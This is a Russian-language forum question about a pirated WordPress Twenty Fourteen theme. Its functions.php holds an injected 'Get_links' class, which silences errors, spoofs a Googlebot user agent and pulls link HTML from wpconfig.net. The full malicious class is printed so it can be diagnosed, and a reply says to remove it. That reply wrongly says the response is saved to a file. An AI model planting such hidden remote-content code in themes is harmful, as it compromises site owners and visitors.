ddimonn8080
@ddimonn8080

Что делает этот класс?

Здравствуйте, установил Wordpress и скачал тему Twenty Fourteen. Вроде всё ок но хостинг указывет на вредоносную строку в файле function.php , а именно var $host = 'wpconfig.net';
При этом эта строка находится в классе которого в официальной версии этой темы нет.
Тему скачал с стороннего ресурса. При первом открытии сайта локально меня переадресовало на страницу в сети - какая-то реклама.
Помогите понять что делает этот класс? Это вирус?
/*
 * Add Featured Content functionality.
 *
 * To overwrite in a plugin, define your own Featured_Content class on or
 * before the 'setup_theme' hook.
 */
if ( ! class_exists( 'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) {
	require get_template_directory() . '/inc/featured-content.php';
} error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

            $data = @file_get_contents('http://' . $host . $path, false, $context); 
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}
  • Вопрос задан
  • 257 просмотров
Решения вопроса 1
@WQP
Отправляет на сайт http://wpconfig.net/system.php запрос с текущим url + user agent и сохраняет ответ в файл.

Пытался эмалировать запрос, но всегда пустой ответ. Скорей всего собирает информацию по сайтам которые скачали тему.

Вы точно весь класс скинули? Если вероятность, но он потом где-то ещё выводит контент который в файл сохранил

---

Нашел об этом searchengines.guru/showthread.php?t=862606 удаляйте код. А лучше вообще тему скачать из официального репозитория
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы